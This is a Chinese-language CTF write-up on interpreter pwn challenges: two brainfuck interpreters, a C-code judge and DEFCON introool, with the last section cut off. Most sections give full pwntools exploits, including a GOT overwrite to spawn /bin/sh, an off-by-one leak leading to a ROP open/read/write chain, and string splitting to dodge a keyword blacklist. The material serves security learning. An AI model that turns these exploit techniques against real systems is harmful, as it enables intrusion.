解释器类型的Pwn题目总结

0x01 写在前面

在近期的比赛中,发现解释器类型的题目越来越多,因此决定进行一个专项的题目总结。

  1. Pwnable_bf:此题是利用了brainfuck本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。
  2. 2020 RCTF bf:此题是因为解释器的实现存在漏洞,并不是利用语言本身的特性。
  3. 2020 DAS-CTF OJ0:此题是直接让我们写程序来读flag,而我们读flag时又需要绕过一些题目的过滤语句~
  4. DEFCON CTF Qualifier 2020 introool:此题严格来说并不是实现的解释器,但是它仍然是直接依据我们的输入来生成可执行文件,属于广义上的解释器。
  5. [Redhat2019] Kaleidoscope:此题创新性的使用了fuzz来解题。
  6. 2020 DAS-CTF OJ1:此题仍然为直接让我们写程序来读flag,但是他限制了所有括号的使用!

0x02 什么是解释器

解释器(英语Interpreter),又译为直译器,是一种电脑程序,能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来,只像一位“中间人”,每次运行程序时都要先转成另一种语言再作运行,因此解释器的程序运行速度比较缓慢。它每转译一行程序叙述就立刻运行,然后再转译下一行,再运行,如此不停地进行下去。

0x03 以 pwnable bf 为例

题目信息

image-20200612195639161

32位程序,开启了NXCanaryGlibc 2.23

根据题目所述信息,这是一个brainfuck语言的解释器。

由于brainfuck语言本身十分简单,因此本题中的核心处理逻辑就是brainfuck语言本身的处理逻辑。

image-20200612200215551

漏洞分析

我们分析发现,此程序本身并没有可利用的漏洞,那么我们就可以利用brainfuck语言本身的特性来完成利用,因为题目没有对我们可操作的指针p做任何限制,也就是说,我们可以直接利用brainfuck语言本身来进行任意地址读写,那么我们的思路就很明显了,利用指针移动将p移动到got表,劫持got表内容即可。

我们决定将putchar@got改为_start,将memset@got改为gets@got,将fgets@got改为system@got

漏洞利用

首先,以下信息是我们已知的:

1
2
3
4
5
getchar@got位于 : 0x0804A00C
fgets@got位于 : 0x0804A010
memset@got位于 : 0x0804A02C
putchar@got位于 : 0x0804A030
p 指针地址 : 0x0804A080

接下来我们开始构造payload:

  1. 首先执行一次

    1
    getchar

    函数。

    1
    payload  = ','
  2. 将指针

    1
    p

    1
    <

    操作符移动到

    1
    getchar@got

    1
    payload += '<' * 0x70
  3. 然后逐位输出

    1
    getchar@got

    的值。

    1
    payload += '.>.>.>.>'
  4. 然后继续篡改

    1
    fgets@got

    1
    system@got

    1
    payload += ',>,>,>,>'
  5. 移动指针到

    1
    memset@got

    1
    payload += '>' * 0x18
  6. 篡改

    1
    memset@got

    1
    gets@got

    1
    payload += ',>,>,>,>'
  7. 继续篡改

    1
    putchar@got

    1
    main

    1
    payload += ',>,>,>,>'
  8. 触发

    1
    putchar

    函数。

    1
    payload += '.'

FInal Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'

bf=ELF('./bf', checksec = False)

if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./BUUOJ_libc/libc-2.23-32.so", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./bf")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./bf")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address

def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()

def Multi_Attack():
# testnokill.__main__()
return

def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
payload = ','
payload += '<' * 0x94
payload += '.>.>.>.>'
payload += ',>,>,>,>'
payload += '>' * 0x18
payload += ',>,>,>,>'
payload += ',>,>,>,>'
payload += '.'
sh.recvuntil('type some brainfuck instructions except [ ]')
sh.sendline(payload)
sh.send('x01')
libc.address = get_address(sh=sh,info='LIBC ADDRESS --> ',start_string='n',address_len=4,offset=-libc.symbols['getchar'])
for i in p32(libc.symbols['system']):
sh.send(i)
for i in p32(libc.symbols['gets']):
sh.send(i)
for i in p32(0x08048671):
sh.send(i)
sh.sendline('/bin/sh')
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'

if __name__ == "__main__":
sh = get_sh(Use_other_libc=True)
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x04 以 2020 RCTF bf 为例

题目信息

image-20200612220441602

64位程序,保护全开,Glibc 2.27

根据题目所述信息,这是一个brainfuck语言的解释器。

这道题目的难度就要比pwnable bf难得多,首先,题目整体使用了C++编写,这对于我们的逆向造成了一定的难度。

然后,本题的操作指针p位于栈上,且做了溢出保护:

image-20200612221326375

指针的前后移动不允许超出局部变量scode的范围。

然后和pwnable bf相比,支持了[]命令:

image-20200612222758738

brainfuck官方文档中:

1
2
3
4
[ : 如果指针指向的单元值为零,向后跳转到对应的 ] 指令的次一指令处。
] : 如果指针指向的单元值不为零,向前跳转到对应的 [ 指令的次一指令处。
[ 等价于 while (*ptr) {
] 等价于 }

漏洞分析

那么接下来,我们来做一个越界测试,我们写一个如下所示的程序:

1
2
3
4
5
6
7
ptr++;
while(*ptr){
ptr++;
putchar(ptr);
(*ptr++);
}
getchar(ptr);

我们决定将putchar@got改为_start,将memset@got改为gets@got,将fgets@got改为system@got

我们可以将其理解成一个简单的fuzz程序,如果无漏洞发生,应当getchar(ptr);永远不会被执行,直到ptr越界指向非法内存而报错。

将其写为brainfuck程序应当为+[>.+],,我们输入到程序看看结果。

image-20200612230033926

程序停了下来!说明此程序中的[]的操作符实现必定存在问题,那么我们来看看我们读入的那一个字符被写到了哪里。

1
2
3
sh.recvuntil('enter your code:')
get_gdb(sh)
sh.sendline('+[>.+],')

这是执行代码前的栈情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
gef➤  x/400gx $rsp
0x7ffcc837f3e0: 0x00007f1cc11f99e0 0x010a7f1cc0e9aef0
0x7ffcc837f3f0: 0x0000000100000007 0x00007f1cc12147ca
0x7ffcc837f400: 0x00007f1cc11fa901 0x0000000000000000
0x7ffcc837f410: 0x00005566d3bb40d0 0x00005566d3bb4100
0x7ffcc837f420: 0x00005566d3bb40d0 0x0000000000000002
0x7ffcc837f430: 0x00005566d3bb3e70 0x0000000000000008
0x7ffcc837f440: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f450: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f460: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f470: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f480: 0x0000000000000000 0x0000000000000000
......
0x7ffcc837f870: 0x0000000000000000 0x0000000000000000
0x7ffcc837f880: 0x00007ffcc837f890 0x0000000000000007
0x7ffcc837f890: 0x002c5d2b2e3e5b2b 0x0000000000000000
0x7ffcc837f8a0: 0x00005566d35f4980 0xca398a01bea61c00
0x7ffcc837f8b0: 0x00007ffcc837f9a0 0x0000000000000000
0x7ffcc837f8c0: 0x00005566d35f4980 0x00007f1cc088cb97
0x7ffcc837f8d0: 0xffffffffffffff90 0x00007ffcc837f9a8
0x7ffcc837f8e0: 0x00000001ffffff90 0x00005566d35f1684
0x7ffcc837f8f0: 0x0000000000000000 0xacc40576de043fed
0x7ffcc837f900: 0x00005566d35f1420 0x00007ffcc837f9a0
0x7ffcc837f910: 0x0000000000000000 0x0000000000000000
0x7ffcc837f920: 0xf9f033a7bca43fed 0xf83022d9db9a3fed
0x7ffcc837f930: 0x0000000000000000 0x0000000000000000
0x7ffcc837f940: 0x0000000000000000 0x00007f1cc120d733
0x7ffcc837f950: 0x00007f1cc11ed2b8 0x0000000000198d4c
0x7ffcc837f960: 0x0000000000000000 0x0000000000000000
0x7ffcc837f970: 0x0000000000000000 0x00005566d35f1420
0x7ffcc837f980: 0x00007ffcc837f9a0 0x00005566d35f144a
0x7ffcc837f990: 0x00007ffcc837f998 0x000000000000001c
0x7ffcc837f9a0: 0x0000000000000001 0x00007ffcc8381335
0x7ffcc837f9b0: 0x0000000000000000 0x00007ffcc838133a
0x7ffcc837f9c0: 0x00007ffcc8381390 0x00007ffcc83813e8
0x7ffcc837f9d0: 0x00007ffcc83813fa 0x00007ffcc838141b
0x7ffcc837f9e0: 0x00007ffcc8381430 0x00007ffcc8381441
0x7ffcc837f9f0: 0x00007ffcc8381452 0x00007ffcc8381460
0x7ffcc837fa00: 0x00007ffcc83814e2 0x00007ffcc83814ed
0x7ffcc837fa10: 0x00007ffcc8381501 0x00007ffcc838150c
0x7ffcc837fa20: 0x00007ffcc838151f 0x00007ffcc8381530
0x7ffcc837fa30: 0x00007ffcc8381540 0x00007ffcc8381550
0x7ffcc837fa40: 0x00007ffcc8381579 0x00007ffcc8381590
0x7ffcc837fa50: 0x00007ffcc83815e2 0x00007ffcc8381637
0x7ffcc837fa60: 0x00007ffcc8381659 0x00007ffcc838166f
0x7ffcc837fa70: 0x00007ffcc8381684 0x00007ffcc83816b0
0x7ffcc837fa80: 0x00007ffcc83816c3 0x00007ffcc83816d0
0x7ffcc837fa90: 0x00007ffcc83816e4 0x00007ffcc8381718
0x7ffcc837faa0: 0x00007ffcc8381747 0x00007ffcc8381759
0x7ffcc837fab0: 0x00007ffcc8381774 0x00007ffcc8381793
0x7ffcc837fac0: 0x00007ffcc83817bc 0x00007ffcc83817d0
0x7ffcc837fad0: 0x00007ffcc83817e1 0x00007ffcc83817f3
0x7ffcc837fae0: 0x00007ffcc8381805 0x00007ffcc8381826
0x7ffcc837faf0: 0x00007ffcc8381846 0x00007ffcc8381864
0x7ffcc837fb00: 0x00007ffcc8381884 0x00007ffcc8381895
0x7ffcc837fb10: 0x00007ffcc83818f1 0x00007ffcc8381903
0x7ffcc837fb20: 0x00007ffcc838191f 0x00007ffcc8381932
0x7ffcc837fb30: 0x00007ffcc8381949 0x00007ffcc8381976
0x7ffcc837fb40: 0x00007ffcc8381993 0x00007ffcc838199b
0x7ffcc837fb50: 0x00007ffcc83819cd 0x00007ffcc83819e1
0x7ffcc837fb60: 0x00007ffcc83819f8 0x00007ffcc8381fe4

这是执行后的栈情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
gef➤  x/400gx $rsp
0x7ffcc837f3e0: 0x00007f1cc11f99e0 0x010a7f1cc0e9aef0
0x7ffcc837f3f0: 0x0000000700000007 0x00007ffcc837f880
0x7ffcc837f400: 0x00007f1cc11fa901 0x0000000000000000
0x7ffcc837f410: 0x00005566d3bb40d0 0x00005566d3bb4100
0x7ffcc837f420: 0x00005566d3bb40d0 0x0000000000000002
0x7ffcc837f430: 0x00005566d3bb3e70 0x0000000000000008
0x7ffcc837f440: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f450: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f460: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f470: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f480: 0x0101010101010101 0x0101010101010101
......
0x7ffcc837f870: 0x0101010101010101 0x0101010101010101
0x7ffcc837f880: 0x00007ffcc837f841 0x0000000000000007
0x7ffcc837f890: 0x002c5d2b2e3e5b2b 0x0000000000000000
0x7ffcc837f8a0: 0x00005566d35f4980 0xca398a01bea61c00
0x7ffcc837f8b0: 0x00007ffcc837f9a0 0x0000000000000000
0x7ffcc837f8c0: 0x00005566d35f4980 0x00007f1cc088cb97
0x7ffcc837f8d0: 0xffffffffffffff90 0x00007ffcc837f9a8
0x7ffcc837f8e0: 0x00000001ffffff90 0x00005566d35f1684
0x7ffcc837f8f0: 0x0000000000000000 0xacc40576de043fed
0x7ffcc837f900: 0x00005566d35f1420 0x00007ffcc837f9a0
0x7ffcc837f910: 0x0000000000000000 0x0000000000000000
0x7ffcc837f920: 0xf9f033a7bca43fed 0xf83022d9db9a3fed
0x7ffcc837f930: 0x0000000000000000 0x0000000000000000
0x7ffcc837f940: 0x0000000000000000 0x00007f1cc120d733
0x7ffcc837f950: 0x00007f1cc11ed2b8 0x0000000000198d4c
0x7ffcc837f960: 0x0000000000000000 0x0000000000000000
0x7ffcc837f970: 0x0000000000000000 0x00005566d35f1420
0x7ffcc837f980: 0x00007ffcc837f9a0 0x00005566d35f144a
0x7ffcc837f990: 0x00007ffcc837f998 0x000000000000001c
0x7ffcc837f9a0: 0x0000000000000001 0x00007ffcc8381335
0x7ffcc837f9b0: 0x0000000000000000 0x00007ffcc838133a
0x7ffcc837f9c0: 0x00007ffcc8381390 0x00007ffcc83813e8
0x7ffcc837f9d0: 0x00007ffcc83813fa 0x00007ffcc838141b
0x7ffcc837f9e0: 0x00007ffcc8381430 0x00007ffcc8381441
0x7ffcc837f9f0: 0x00007ffcc8381452 0x00007ffcc8381460
0x7ffcc837fa00: 0x00007ffcc83814e2 0x00007ffcc83814ed
0x7ffcc837fa10: 0x00007ffcc8381501 0x00007ffcc838150c
0x7ffcc837fa20: 0x00007ffcc838151f 0x00007ffcc8381530
0x7ffcc837fa30: 0x00007ffcc8381540 0x00007ffcc8381550
0x7ffcc837fa40: 0x00007ffcc8381579 0x00007ffcc8381590
0x7ffcc837fa50: 0x00007ffcc83815e2 0x00007ffcc8381637
0x7ffcc837fa60: 0x00007ffcc8381659 0x00007ffcc838166f
0x7ffcc837fa70: 0x00007ffcc8381684 0x00007ffcc83816b0
0x7ffcc837fa80: 0x00007ffcc83816c3 0x00007ffcc83816d0
0x7ffcc837fa90: 0x00007ffcc83816e4 0x00007ffcc8381718
0x7ffcc837faa0: 0x00007ffcc8381747 0x00007ffcc8381759
0x7ffcc837fab0: 0x00007ffcc8381774 0x00007ffcc8381793
0x7ffcc837fac0: 0x00007ffcc83817bc 0x00007ffcc83817d0
0x7ffcc837fad0: 0x00007ffcc83817e1 0x00007ffcc83817f3
0x7ffcc837fae0: 0x00007ffcc8381805 0x00007ffcc8381826
0x7ffcc837faf0: 0x00007ffcc8381846 0x00007ffcc8381864
0x7ffcc837fb00: 0x00007ffcc8381884 0x00007ffcc8381895
0x7ffcc837fb10: 0x00007ffcc83818f1 0x00007ffcc8381903
0x7ffcc837fb20: 0x00007ffcc838191f 0x00007ffcc8381932
0x7ffcc837fb30: 0x00007ffcc8381949 0x00007ffcc8381976
0x7ffcc837fb40: 0x00007ffcc8381993 0x00007ffcc838199b
0x7ffcc837fb50: 0x00007ffcc83819cd 0x00007ffcc83819e1
0x7ffcc837fb60: 0x00007ffcc83819f8 0x00007ffcc8381fe4

请注意0x7ffcc837f880处的代码,可以发现,我们可以越界写一个字符,而这个位置恰好储存了我们的代码区域的地址,那么我们事实上可以将其修改到返回地址处,这样我们就可以程序做任意地址跳转,并且发现程序会打印我们输入的代码内容,那么我们就可以利用无截断来泄露信息。

漏洞利用

  1. 首先我们需要先泄露原本的

    1
    bf_code

    的地址末位。

    1
    2
    3
    4
    5
    sh.recvuntil('enter your code:')
    sh.sendline('+[>.+],')
    sh.recvuntil('x00' * 0x3FF)
    code_low_addr = u64(sh.recv(1).ljust(8,'x00'))
    success("code low bit --> " + str(hex(code_low_addr)))
  2. 接下来我们进行低位覆盖,将

    1
    bf_code

    移动到

    1
    bf_code + 0x20

    的位置上,在那之后我们就能获取到

    1
    ESP

    的值。

    1
    2
    3
    4
    5
    6
    payload = code_low_addr + 0x20
    payload = p8((payload) & 0xFF)
    sh.send(payload)
    sh.recvuntil("done! your code: ")
    esp_addr = u64(sh.recv(6).ljust(8,'x00')) - 0x5C0
    info('ESP addr-->'+str(hex(esp_addr)))
  3. 接下来我们选择不跳出循环。

    1
    2
    sh.recvuntil('want to continue?')
    sh.send('y')
  4. 重复刚才的步骤,低位覆盖,将

    1
    bf_code

    移动到

    1
    bf_code + 0x38

    的位置上,在那之后我们能获取到

    1
    LIBC

    的基址。

    1
    2
    3
    4
    5
    6
    sh.recvuntil('enter your code:')
    sh.sendline('+[>.+],')
    sh.send(p8((code_low_addr + 0x38) & 0xFF))
    sh.recvuntil("done! your code: ")
    libc.address = u64(sh.recv(6).ljust(8,'x00')) + 0x00007fd6723b7000 - 0x7fd6723d8b97
    info('LIBC ADDRESS --> ' + str(hex(libc.address)))
  5. 接下来我们选择不跳出循环。

    1
    2
    sh.recvuntil('want to continue?')
    sh.send('y')
  6. 重复刚才的步骤,低位覆盖,将

    1
    bf_code

    移动到

    1
    bf_code + 0x30

    的位置上,在那之后我们获取到程序加载基址。

    同时这又是RBP的位置。

    1
    2
    3
    4
    5
    6
    sh.recvuntil('enter your code:')
    sh.sendline('+[>.+],')
    sh.send(p8((code_low_addr + 0x30) & 0xFF))
    sh.recvuntil("done! your code: ")
    PIE_address = u64(sh.recv(6).ljust(8,'x00')) - 0x4980
    info('PIE ADDRESS --> ' + str(hex(PIE_address)))
  7. 接下来我们可以构造

    1
    ROP

    链,首先列出我们需要利用的

    1
    gadgets

    1
    2
    3
    4
    5
    0x000000000002155f: pop rdi; ret;
    0x0000000000023e6a: pop rsi; ret;
    0x0000000000001b96: pop rdx; ret;
    0x00000000000439c8: pop rax; ret;
    0x00000000000d2975: syscall; ret;

    那么我们可以构造如下ROP chain

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    # read(0,BSS+0x400,0x20)
    ROP_chain = p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x0000000000023e6a)
    ROP_chain += p64(PIE_address + bf.bss() + 0x400)
    ROP_chain += p64(libc.address + 0x0000000000001b96)
    ROP_chain += p64(0x20)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    # open(BSS+0x400,0)
    ROP_chain += p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(PIE_address + bf.bss() + 0x400)
    ROP_chain += p64(libc.address + 0x0000000000023e6a)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(2)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    # read(3,BSS+0x500,0x20)
    ROP_chain += p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(3)
    ROP_chain += p64(libc.address + 0x0000000000023e6a)
    ROP_chain += p64(PIE_address + bf.bss() + 0x500)
    ROP_chain += p64(libc.address + 0x0000000000001b96)
    ROP_chain += p64(0x20)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    # write(0,BSS+0x500,0x20)
    ROP_chain += p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(1)
    ROP_chain += p64(libc.address + 0x0000000000023e6a)
    ROP_chain += p64(PIE_address + bf.bss() + 0x500)
    ROP_chain += p64(libc.address + 0x0000000000001b96)
    ROP_chain += p64(0x20)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(1)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    # exit(0)
    ROP_chain += p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(60)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    for i in ['[',']']:
    if i in ROP_chain:
    raise ValueError('ROP_chain ERROR')
  8. 接下来我们选择不跳出循环。

    1
    2
    sh.recvuntil('want to continue?')
    sh.send('y')
  9. 覆盖返回地址,并恢复

    1
    code

    指针。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    sh.recvuntil('enter your code:')
    sh.sendline(p64(0) + ROP_chain)

    sh.recvuntil('want to continue?')
    sh.send('y')

    sh.recvuntil('enter your code:')
    sh.sendline('+[>.+],')
    sh.send(p8((code_low_addr) & 0xFF))
    sh.send(p8((code_low_addr) & 0xFF))
  10. 跳出循环即可获取flagimage-20200613220048640

FInal Exploit

⚠️:概率成功,因为有概率我们不能成功的触发[]的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

bf=ELF('./bf', checksec = False)

if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./bf")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./bf")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address

def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()

def Multi_Attack():
# testnokill.__main__()
return

def Attack(sh=None,ip=None,port=None):
while True:
try:
sh = get_sh()
# Your Code here
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.recvuntil('x00' * 0x3FF)
code_low_addr = u64(sh.recv(1).ljust(8,'x00'))
success("code low bit --> " + str(hex(code_low_addr)))

payload = code_low_addr + 0x20
payload = p8((payload) & 0xFF)
sh.send(payload)
sh.recvuntil("done! your code: ", timeout = 0.3)
esp_addr = u64(sh.recv(6).ljust(8,'x00')) - 0x5C0
info('ESP addr-->'+str(hex(esp_addr)))

sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')

sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr + 0x38) & 0xFF))
sh.recvuntil("done! your code: ", timeout = 0.3)
libc.address = u64(sh.recv(6).ljust(8,'x00')) + 0x00007fd6723b7000 - 0x7fd6723d8b97
info('LIBC ADDRESS --> ' + str(hex(libc.address)))

sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')

sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr + 0x30) & 0xFF))
sh.recvuntil("done! your code: ", timeout = 0.3)
PIE_address = u64(sh.recv(6).ljust(8,'x00')) - 0x4980
info('PIE ADDRESS --> ' + str(hex(PIE_address)))

# read(0,BSS+0x400,0x20)
ROP_chain = p64(libc.address + 0x000000000002155f)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x400)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# open(BSS+0x400,0)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(PIE_address + bf.bss() + 0x400)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(2)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# read(3,BSS+0x500,0x20)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(3)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x500)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# write(0,BSS+0x500,0x20)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x500)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# exit(0)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(60)
ROP_chain += p64(libc.address + 0x00000000000d2975)
for i in ['[',']']:
if i in ROP_chain:
raise ValueError('ROP_chain ERROR')

sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')

sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline(p64(0) + ROP_chain)

sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')

sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr) & 0xFF))
sh.send(p8((code_low_addr) & 0xFF))

# get_gdb(sh)
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('n')

sh.send('/flag')
# sh.interactive()
flag = sh.recvrepeat(0.3)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
continue

if __name__ == "__main__":
flag = Attack()
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x05 以 2020 DAS-CTF OJ0 为例

安恒月赛的题目为闭源信息,本例题不会给出任何形式的附件下载地址

题目信息

image-20200614095305758

可以发现,这是一个C语言的解释器,可以执行我们输入的任意代码,然后依据题目要求输出指定信息后,会执行tree /home/ctf命令,从而告知我们flag文件的具体位置。

接下来我们需要构造代码进行flag的读取。

漏洞利用

根据题目信息回显,可以发现,题目应该是存在有黑名单机制,那么我们不考虑启动shell,转而考虑使用ORW的方式获取flag,那么最简单的程序:

1
2
3
4
5
6
7
8
#include<stdio.h>
int main(){
char buf[50];
char path[50] = "/home/ctf/flagx00";
int fd = open(path);
read(fd,buf,50);
write(1,buf,50);
}@

image-20200614100007237

可以发现被过滤了,那么考虑黑名单应该会检测整段代码,以防止出现homectfflag等敏感字符,那么我们可以利用string函数进行字符串的拼接来绕过保护。

FInal Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include<string.h>
int main(){
char buf[50];
char path_part_1[5] = "/hom";
char path_part_2[5] = "e/ct";
char path_part_3[5] = "f/fl";
char path_part_4[5] = "agx00";
char path[20];
sprintf(path, "%s%s%s%s", path_part_1, path_part_2, path_part_3, path_part_4);
int fd = open(path);
read(fd,buf,50);
write(1,buf,50);
}@

image-20200614100750776

0x06 以 DEFCON CTF Qualifier 2020 introool 为例

题目地址:https://github.com/o-o-overflow/dc2020q-introool-public

题目信息

无二进制文件,拉取项目直接启动docker即可

  1. 题目要求首先给出一个用于填充的字符,要求这个字符必须大于等于0x80
  2. 接下来要求给出填充的长度,这个长度要求介于0x80~`0x800`之间。
